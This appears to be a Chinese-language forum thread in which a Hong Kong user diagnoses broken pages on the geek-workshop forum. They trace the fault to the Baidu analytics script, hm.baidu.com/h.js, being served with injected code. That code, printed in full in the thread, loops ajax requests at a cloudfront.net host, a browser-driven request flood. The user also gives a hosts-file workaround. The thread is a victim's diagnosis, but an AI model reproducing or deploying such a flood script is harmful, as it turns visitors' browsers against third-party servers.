用 chrome 打开 geek-workshop 的奇怪问题
不知什麽原因, 刚才想发帖求助, 一直无法加上图片.之後发觉一切 javascript 都不能执行.
再用 chrome debugger 打开, 发觉只要打开 geek-workshop 的网页, 背後就会不断向 http://d3rkfw22xppori.cloudfront.net 发出请求, 结果都是 No 'Access-Control-Allow-Origin'.
初时以为自己的电脑中了毒, 但发觉到其他网站都没有问题.
再用另一台电脑经打开 geek-workshop, 结果都是一样.
可能由於背後一直有 request error, 导致 javascript 不能执行.
现在只可以发出文字的帖.
但看到其他人发帖好像没问题, 有点奇怪.
我用 IE 来到 geek-workshop, 好像没有类似的请求, 但亦只能用纯文字出帖, 上面的工具列只闪了一下就消失了.
请问 geek-workshop 背後是否有什麽地方会向 http://d3rkfw22xppori.cloudfront.net 发出请求?
大家是用什麽 browser 的, 不知会否只是 chrome 的问题.
找到了, forum 的 php 文件中
document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3F5f8d64f479335f9059cacd72ba1019c5' type='text/javascript'%3E%3C/script%3E"));
而 http://hm.baidu.com/h.js 中, 有 ajax call
url: "http://d3rkfw22xppori.cloudfront.net/_close?t="+unixtime(),
不知是否因为我是香港来的, 到访这个网页出问题.
請問有沒有方法解決, 之前一直都沒有問題的, 是最近改了的嗎?
奇怪, 用公司的电脑开启时, 没有问题.
尝试看看 http://hm.baidu.com/h.js的内容, 变成了空白, 没有向 http://d3rkfw22xppori.cloudfront.net 发出的 ajax call.
今晚回家再看看, 难道因为公司有 firewall, 把 http://hm.baidu.com/h.js 的内容给过滤了? 回到家中, 依然看到論壇到訪http://hm.baidu.com/h.js 的資料, 之後就會不斷向http://d3rkfw22xppori.cloudfront.net 發出請求.
解決方法, 在 windows 的 hosts table 上加入以下句子,
127.0.0.1 hm.baidu.com
把 hm.baiud.com 指向 local, 而不能下載 h.js, 就不會不停發向http://d3rkfw22xppori.cloudfront.net 發出請求了, 一切正常.
國內的朋友, 可否嘗試開啟http://hm.baidu.com/h.js , 看看是空白的, 還是會得到以下的 script (之後就會不斷向 http://d3rkfw22xppori.cloudfront.net 以 ajax 形式發出請求.)
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'><\/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'><\/script>");
startime=new Date().getTime();
var count = 0;
function unixtime()
{
var dt = new Date();
var ux = Date.UTC(dt.getFullYear(),dt.getMonth(),dt.getDay(),dt.getHours(),dt.getMinutes(),dt.getSeconds())/1000;
return ux;
}
function get()
{
var ping;
$.ajax({
url: "http://d3rkfw22xppori.cloudfront.net/_close?t="+unixtime(),
dataType: "text",
timeout: 10000,
cache:true,
beforeSend : function()
{
requestTime = new Date().getTime();
},
complete : function()
{
responseTime = new Date().getTime();
ping = Math.floor(responseTime-requestTime);
if(responseTime-startime<300000)
{
r_send(ping);
count = count + 1;
}
}
});
}
function r_send(ping)
{
setTimeout("get()", ping);
}
setTimeout("get()", 2000);
国内测试打开http://hm.baidu.com/h.js 是空白的 swim 发表于 2015-3-17 18:19 static/image/common/back.gif
国内测试打开http://hm.baidu.com/h.js 是空白的
謝謝, 那就奇怪了, 難道是針對香港來的??
只有這裡的管理員, 才會知道為什麼要加上這個 JS, 難道要趕走國外的人?
這個連結真奇怪, 在公司我連上去, 也是空白的.但在家裡連上, 就會出現上面的一段 code, 之後就出現問題了.
如果是空白才可以, 那是為了趕走什麼人呢?看來只好問問管理員了.
页:
[1]